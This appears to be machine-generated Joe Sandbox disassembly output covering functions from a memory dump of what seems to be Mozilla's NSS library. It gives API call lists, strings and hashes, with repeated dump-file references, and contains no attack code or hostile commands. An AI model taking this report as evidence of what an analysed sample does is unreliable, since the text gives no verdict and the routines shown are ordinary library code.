Part of subcall function 6CC452C0: PR_Unlock.NSS3(?), ref: 6CC45358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC411D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC411F3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 676fb1706057e7b2f10f14dcfed7e35bd892262c375b2c4dc6e9d956c23b7ed3
Instruction ID: b416609b166acf4de8f3980d53ff61b4ce54cf6a463b3e83d0d336a5a582f6db
Opcode Fuzzy Hash: 676fb1706057e7b2f10f14dcfed7e35bd892262c375b2c4dc6e9d956c23b7ed3
Instruction Fuzzy Hash: AA61A4B4E003459BEB00DF69D881B9AB7B4BF44348F14C128ED59AB741FB31E955CB51

Function 6CC4ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE10
EnterCriticalSection.KERNEL32(?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CC2D079,00000000,00000001), ref: 6CC4AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE7F
TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEF1
free.MOZGLUE(6CC2CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?), ref: 6CC4AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AF30

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 09fbf032707ee8d6af4f20e171559abd8d8c09657b67a6e8da0f03ab1e52136e
Instruction ID: eb6280c2b7891af4afc6e0d43cbae9c39270e89c54216a78b41822bce02b9259
Opcode Fuzzy Hash: 09fbf032707ee8d6af4f20e171559abd8d8c09657b67a6e8da0f03ab1e52136e
Instruction Fuzzy Hash: 55517EB5A00602AFEB01DF25D884B66B7B4FF49318F14C665E91897E11F731E8A4CBD1

Function 6CC24CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC2AB7F,?,00000000,?), ref: 6CC24CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CC2AB7F,?,00000000,?), ref: 6CC24CC8
TlsGetValue.KERNEL32(?,6CC2AB7F,?,00000000,?), ref: 6CC24CE0
EnterCriticalSection.KERNEL32(?,?,6CC2AB7F,?,00000000,?), ref: 6CC24CF4
PL_HashTableLookup.NSS3(?,?,?,6CC2AB7F,?,00000000,?), ref: 6CC24D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CC24D10

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

PR_Now.NSS3(?,00000000,?), ref: 6CC24D26

Part of subcall function 6CCC9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DC6
Part of subcall function 6CCC9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DD1
Part of subcall function 6CCC9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CC24D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CC24DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CC24E02

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 3825d86375a34b40de744e946d0c24688b00931f8848ac91675ec651978fdf2d
Instruction ID: 7c8e06ae62e87c5cf14fa5806e2f5c3efda6cf163743a6cedad5ab8f17905c00
Opcode Fuzzy Hash: 3825d86375a34b40de744e946d0c24688b00931f8848ac91675ec651978fdf2d
Instruction Fuzzy Hash: BE41A5B5E002059BEB01DF69EC44A6A77A8BF05358F0541B0ED1887B12FB35D959C7A2

Function 6CC0BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC0BFFB

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CC0C015

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CC0C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CC0C04D

Part of subcall function 6CC569E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC56A47
Part of subcall function 6CC569E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CC56A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CC0C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CC0C07B

Part of subcall function 6CC08980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CC07310), ref: 6CC089B8
Part of subcall function 6CC08980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CC07310), ref: 6CC089E6
Part of subcall function 6CC08980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CC08A00
Part of subcall function 6CC08980: CERT_CopyRDN.NSS3(00000004,00000000,6CC07310,?,?,00000004,?), ref: 6CC08A1B
Part of subcall function 6CC08980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CC08A74

Part of subcall function 6CC01D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CC0C097,00000000,000000B0,?), ref: 6CC01D2C
Part of subcall function 6CC01D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CC0C09B,00000000,00000000,00000000,?,6CC0C097,00000000,000000B0,?), ref: 6CC01D3F
Part of subcall function 6CC01D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CC0C087,00000000,000000B0,?), ref: 6CC01D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CC0C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CC0C0C9

Part of subcall function 6CC12DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CC0C0D2,6CC0C0CE,00000000,-000000D4,?), ref: 6CC12DF5
Part of subcall function 6CC12DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CC0C0CE,00000000,-000000D4,?), ref: 6CC12E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CC0C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0C0E3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 9f5325593e1dec158cf1cac5ec282be8dab5169bd0b8f9809c85af22d8e52153
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 862162E674020567FB006A65AD81FFB326C9B4175CF084134FD04DAA46FB27D91AC273

Function 6CC02E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CC02CDA,?,00000000), ref: 6CC02E1E

Part of subcall function 6CC5FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CC09003,?), ref: 6CC5FD91
Part of subcall function 6CC5FD80: PORT_Alloc_Util.NSS3(A4686CC6,?), ref: 6CC5FDA2
Part of subcall function 6CC5FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC6,?,?), ref: 6CC5FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CC02E33

Part of subcall function 6CC5FD80: free.MOZGLUE(00000000,?,?), ref: 6CC5FDD1

TlsGetValue.KERNEL32 ref: 6CC02E4E
EnterCriticalSection.KERNEL32(?), ref: 6CC02E5E
PL_HashTableLookup.NSS3(?), ref: 6CC02E71
PL_HashTableRemove.NSS3(?), ref: 6CC02E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CC02E96
PR_Unlock.NSS3 ref: 6CC02EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC02EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC02EC5

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: fd2c9c64c42f859dc08b70e6ad965170637baecc20cd8f800163d9020cbe8487
Instruction ID: da8c34d2a61867696994d0596247edbebb43995a63fe042cf474eab8200a9f46
Opcode Fuzzy Hash: fd2c9c64c42f859dc08b70e6ad965170637baecc20cd8f800163d9020cbe8487
Instruction Fuzzy Hash: A1210472E40101ABFF011B66EC49AAB3A78EB5235EF140030EE2882712F733D569C6A1

Function 6CBEFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CBEFD18
sqlite3_initialize.NSS3 ref: 6CBEFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBEFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CBEFD99
sqlite3_free.NSS3(00000000), ref: 6CBEFE3C
sqlite3_free.NSS3(?), ref: 6CBEFEE3
sqlite3_free.NSS3(?), ref: 6CBEFEEE

Strings

simple, xrefs: 6CBEFC79

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 55169c9feee20f799ab90934b808f5fd1bf0a2e3787623b58ba53e71c07bc171
Instruction ID: 80d537151146d4bb8668821b2a92a6b519c86be27dc3b21a7a77878bc1909888
Opcode Fuzzy Hash: 55169c9feee20f799ab90934b808f5fd1bf0a2e3787623b58ba53e71c07bc171
Instruction Fuzzy Hash: B091B3B0E012458FDB04CF55D880A6EFBB2FF88798F24C568D8199BB52E731E941CB91

Function 6CBF5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CBF5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBF5EED

Strings

invalid, xrefs: 6CBF5EBE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBF5ED1
%s at line %d of [%.10s], xrefs: 6CBF5EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CBF5E64
misuse, xrefs: 6CBF5EDB
API call with %s database connection pointer, xrefs: 6CBF5EC3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: a891bcdeb0aa6e222002c1445854d3e2f18a2cdc3cc5e763b0849a70bed525c7
Instruction ID: 3b985498cfd269ebed5117ec82163b0655220ccd5cfd8a2a6562790c85eaebe7
Opcode Fuzzy Hash: a891bcdeb0aa6e222002c1445854d3e2f18a2cdc3cc5e763b0849a70bed525c7
Instruction Fuzzy Hash: E481C234B066A19BEB19CF19C848BAA7770FF41308F158258D8355BB51D730E84FCBAA

Function 6CBDDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBDDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBDDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBDDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CBDDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBDDF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBDDE52, 6CBDDE81
%s at line %d of [%.10s], xrefs: 6CBDDE61, 6CBDDE90
database corruption, xrefs: 6CBDDE5C, 6CBDDE8B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 92e09fe6d2b254b6fdceee857f8f491c9ca6569e2af0d08824ac90fa686e6a82
Instruction ID: fc96960cd6f97f3d8b6260f17c7a06d39f2ffe2a9915670c1f1d6466c281fcc0
Opcode Fuzzy Hash: 92e09fe6d2b254b6fdceee857f8f491c9ca6569e2af0d08824ac90fa686e6a82
Instruction Fuzzy Hash: E381B071604391AFDB14CF35D880B6A77F1EB45308F16882CE99A8BA51EB31F845CB62

Function 6CB8CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB8B999), ref: 6CB8CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB8B999), ref: 6CB8D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CB8B999), ref: 6CB8D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB8B999), ref: 6CCD972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8CFDD, 6CB8D00E, 6CB8D022, 6CB8D033, 6CCD9780
%s at line %d of [%.10s], xrefs: 6CB8CFEC, 6CB8D018, 6CB8D029, 6CB8D03F, 6CCD978B
database corruption, xrefs: 6CB8CFE7, 6CB8D013, 6CB8D028, 6CB8D039, 6CB8D03E, 6CCD9786

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: e765691656ac35178d5c080a6bb30b40ac0b1ae6ada8b6f4eaecb0aabc003318
Instruction ID: a778ba88a7252a4ed41d75304e8b08bd61509c9bef636bd0ca21d00db214d4f8
Opcode Fuzzy Hash: e765691656ac35178d5c080a6bb30b40ac0b1ae6ada8b6f4eaecb0aabc003318
Instruction Fuzzy Hash: A6618C71A042609BD710CF29C840BA7B7F5EF55318F19426DE5489FB82E376E847C7A1

Function 6CC8FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CC90113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC90130
PORT_Alloc_Util.NSS3(00000040), ref: 6CC9015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CC901AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CC90202
free.MOZGLUE(?), ref: 6CC90224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC90253

Strings

exporter, xrefs: 6CC900F7

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: dca06c6157effcfbd77f9a076e4551b3a3dcdc5820ba1d07df6406a45825de54
Instruction ID: f9e17040b0fcd89348ba82b5fbcf5b6e907e27861435ed1b5af4286d58ef6c27
Opcode Fuzzy Hash: dca06c6157effcfbd77f9a076e4551b3a3dcdc5820ba1d07df6406a45825de54
Instruction Fuzzy Hash: EE6103B1D007899BEF118FA8CC04BEE77B6FF4830CF144228E91A9AA61F7319955CB51

Function 6CCA1E90 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 150COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?), ref: 6CCA1EB3

Part of subcall function 6CC4ADC0: TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE10
Part of subcall function 6CC4ADC0: EnterCriticalSection.KERNEL32(?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE24
Part of subcall function 6CC4ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC2D079,00000000,00000001), ref: 6CC4AE5A
Part of subcall function 6CC4ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE6F
Part of subcall function 6CC4ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE7F
Part of subcall function 6CC4ADC0: TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEB1
Part of subcall function 6CC4ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEC9

Part of subcall function 6CCA3C40: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCA3C6F
Part of subcall function 6CCA3C40: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCA3C7A
Part of subcall function 6CCA3C40: PR_snprintf.NSS3(?,00000064,%s %s,?,?), ref: 6CCA3CA0
Part of subcall function 6CCA3C40: PR_GetCurrentThread.NSS3 ref: 6CCA3CC1

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA2025

Part of subcall function 6CCA3C40: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCA3D4A
Part of subcall function 6CCA3C40: PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA3DD9

PK11_FreeSymKey.NSS3(?), ref: 6CCA2012
PK11_FreeSymKey.NSS3(?), ref: 6CCA204A

Strings

derived, xrefs: 6CCA1FC2
